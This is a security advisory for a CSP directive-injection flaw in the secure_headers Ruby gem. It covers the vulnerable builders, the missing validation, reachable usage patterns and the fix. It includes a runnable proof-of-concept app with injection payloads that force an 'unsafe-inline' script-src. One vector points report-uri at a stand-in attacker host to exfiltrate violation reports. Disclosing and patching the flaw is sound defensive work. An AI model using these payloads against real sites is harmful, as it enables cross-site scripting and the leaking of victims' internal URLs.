CVE-2026-54163

Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when given untrusted input

Summary

secure_headers builds the Content-Security-Policy value by stitching every configured directive together with ; separators. Three directive builders (build_sandbox_list_directive, build_media_type_list_directive, build_report_to_directive) interpolate caller-supplied strings into that value without scrubbing ;, \r, or \n.

When an application forwards untrusted input into SecureHeaders.override_content_security_policy_directives (or append_…) for :sandbox, :plugin_types, or :report_to, an attacker can embed a literal ; and inject an arbitrary CSP directive into the header value. Because :sandbox and :plugin_types both sort alphabetically before :script_src in BODY_DIRECTIVES, the injected script-src lands earlier in the header and wins under the CSP first-occurrence rule, defeating the application's real script-src. End result: an 'unsafe-inline' * policy is forced for inline ` despite the configured strict CSP, giving full XSS reachability anywhere reflected or stored content meets one of these three sinks.

An existing ;/\n scrub is already present in the source-list builder (build_source_list_directive), but the three sibling builders here never received the same treatment and still emit caller bytes verbatim into the CSP value.

Impact

Although piping untrusted input into CSP directives is generally discouraged, applications that do so for one of the three uncovered directives turn that endpoint into an XSS sink with an effective * 'unsafe-inline' script-src, even though the global config says script_src: %w('self'). The same primitive can also be used to point report-to / report-uri at attacker infrastructure to silently siphon CSP violation reports — which include the violated URL, blocked-uri, source-file, line-number and a sample-snippet, useful for fingerprinting and for harvesting victim-internal URLs.

The global default CSP set in Configuration.default is supposed to be a backstop: even if a controller appends a single risky value, the strict script-src should remain the first match. This bug breaks that property by letting the appended value redefine the policy header upstream of the legitimate script-src.

Affected

• Package: secure_headers (RubyGems)
• Vulnerable versions: <= 7.2.0
• Patched version: 7.3.0

Applications that set :sandbox, :plugin_types, or :report_to only from static configuration (no per-request or per-tenant input) are not exploitable and need only the version bump. Applications that pipe any user-controlled value into one of those three directives via the per-controller override APIs are exploitable and should both upgrade and audit those code paths.

Mitigations / Workarounds

Until upgrading to 7.3.0, sanitize any user-controlled input before passing it to:

• SecureHeaders.override_content_security_policy_directives
• SecureHeaders.append_content_security_policy_directives
• SecureHeaders.use_content_security_policy_named_append

for :sandbox, :plugin_types, or :report_to. Reject or strip ;, \r, and \n from values destined for these directives before they reach the gem.

Vulnerable code

Three sibling builders all join an attacker-controllable value into the CSP header value with no ; / \r / \n scrubbing.

• content_security_policy.rb#L72-L93 — build_sandbox_list_directive:

elsif sandbox_list && sandbox_list.any?
  [
    symbol_to_hyphen_case(directive),
    sandbox_list.uniq
  ].join(" ")
end

• content_security_policy.rb#L95-L103 — build_media_type_list_directive (same pattern, for plugin-types).
• content_security_policy.rb#L105-L110 — build_report_to_directive:

def build_report_to_directive(directive)
  return unless endpoint_name = @config.directive_value(directive)
  if endpoint_name && endpoint_name.is_a?(String) && !endpoint_name.empty?
    [symbol_to_hyphen_case(directive), endpoint_name].join(" ")
  end
end

For comparison, content_security_policy.rb#L117-L129 shows the source-list builder that already performs the scrub the three above are missing.

Validation also does not catch it:

• policy_management.rb#L361-L371 — validate_sandbox_expression! only checks v.start_with?("allow-"), so "allow-scripts allow-same-origin; script-src 'unsafe-inline' *" passes.
• policy_management.rb#L376-L385 — validate_media_type_expression! uses /\A.+\/.+\z/; . matches ; and ', so "application/x-foo; script-src 'unsafe-inline' *" passes.
• policy_management.rb#L410-L417 — validate_report_to_endpoint_expression! only checks String + non-empty.

Reachable

The three sinks are reached by the documented public override APIs in lib/secure_headers.rb#L61-L106 — override_content_security_policy_directives, append_content_security_policy_directives, and use_content_security_policy_named_append. These are the documented per-controller hooks Rails apps use to vary CSP per request (e.g. allowing an iframe domain that a user just configured, sandboxing a per-tenant subdocument, or wiring up a per-tenant reporting endpoint).

Concrete reachable shapes:

• Multi-tenant SaaS persisting a tenant-chosen iframe sandbox policy and replaying it via override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens]).
• Document / PDF viewer that allows tenants to whitelist a custom MIME via plugin_types: [tenant.allowed_mime].
• Reporting integration that lets the operator name the active reporting group through an admin UI and forwards it via report_to: params[:report_group].

In all three patterns, a string field that the app expects to be a single token (allow-forms, application/pdf, default) is the injection point.

Proof of concept

Pinned reproduction against a minimal Rack app on secure_headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.

Install (Bundler):

# Gemfile
source "https://rubygems.org"
gem "secure_headers", "= 7.2.0"
gem "rack",           "= 3.2.6"
gem "rackup",         "= 2.3.1"
gem "webrick", "= 1.9.2"

bundle install

Driver (poc_e2e.rb):

require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"
SecureHeaders::Configuration.default do |c|
  c.csp = {default_src: %w('self'), script_src: %w('self'), style_src: %w('self')}
end
INLINE_XSS = "document.body.appendChild(Object.assign(" \
             "document.createElement('div'),{id:'pwn',innerText:" \
             "'XSS-EXECUTED via '+location.pathname}));"
class App
  def call(env)
    req = Rack::Request.new(env)
    case req.path_info
    when "/sandbox"  # Vector A
      SecureHeaders.override_content_security_policy_directives(req,
        sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
    when "/plugin"   # Vector B
      SecureHeaders.override_content_security_policy_directives(req,
        plugin_types: ["application/x-foo; script-src 'unsafe-inline' *"])
    when "/report"   # Vector C (report-uri exfil)
      SecureHeaders.override_content_security_policy_directives(req,
        report_to: "default; report-uri https://attacker.example/leak")
    when "/control"  # Negative — same payload on a source_list directive
      SecureHeaders.override_content_security_policy_directives(req,
        frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
    end
    body = "<!doctype html>#{INLINE_XSS}"
    [200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [body]]
  end
end
Rackup::Handler::WEBrick.run(
  Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
  Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))

Run:

bundle exec ruby poc_e2e.rb

End-to-end reproduction against secure_headers 7.2.0

Server-side observation (curl -s -D - http://127.0.0.1:14567/):

GET /sandbox  -> content-security-policy:
    default-src 'self'; sandbox allow-scripts allow-same-origin;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /plugin   -> content-security-policy:
    default-src 'self'; plugin-types application/x-foo;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'
GET /report   -> content-security-policy:
    default-src 'self'; script-src 'self'; style-src 'self';
    report-to default; report-uri https://attacker.example/leak
GET /control  -> content-security-policy:
    default-src 'self'; frame-src 'self' evil.example  script-src
    'unsafe-inline' *; script-src 'self'; style-src 'self'

Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline actually ran):

GET /sandbox  -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /plugin   -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /report   -> pwn element absent   (this vector enables report-uri exfil,
                                       not script execution by itself)
GET /control  -> pwn element absent   (existing scrub on the source-list
                                       builder rewrites ; -> space, so the
                                       legitimate script-src 'self' is
                                       still the first match)

Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.

Patch

Shipped in 7.3.0 as a private helper that scrubs ;, \r, and \n from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.

Sketch of the shipped change in lib/secure_headers/headers/content_security_policy.rb:

DIRECTIVE_INJECTION_REGEX = /[\n\r;]/.freeze
def scrub_directive_value(directive, value)
  str = value.to_s
  if str =~ DIRECTIVE_INJECTION_REGEX
    Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
    str.gsub(DIRECTIVE_INJECTION_REGEX, " ")
  else
    str
  end
end

The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.

See the merged fix PR for the full patch and tests.

Credit

Reported by @tonghuaroot.

Resources

• CVE-2020-5217 — prior secure_headers advisory for the same bug class on build_source_list_directive (the 2020 fix that motivated the helper this advisory extends).
• W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
• RFC 7230 §3.2.4 — Field parsing — context for why bare \r / \n` in HTTP header values are unsafe regardless of directive separator semantics.